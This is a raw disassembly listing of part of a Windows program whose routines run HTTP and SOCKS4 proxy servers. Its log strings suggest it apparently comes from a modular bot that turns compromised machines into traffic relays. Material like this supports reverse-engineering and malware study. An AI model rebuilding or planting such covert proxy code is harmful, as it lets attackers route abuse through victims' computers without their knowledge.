		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi	; closesocket


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		nop
		call	near ptr 2840000h


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		call	near ptr 71AB9639h
		nop


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		call	near ptr 2840000h
		nop
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		call	near ptr 2840000h
		nop
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		nop
		call	near ptr 2840000h
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
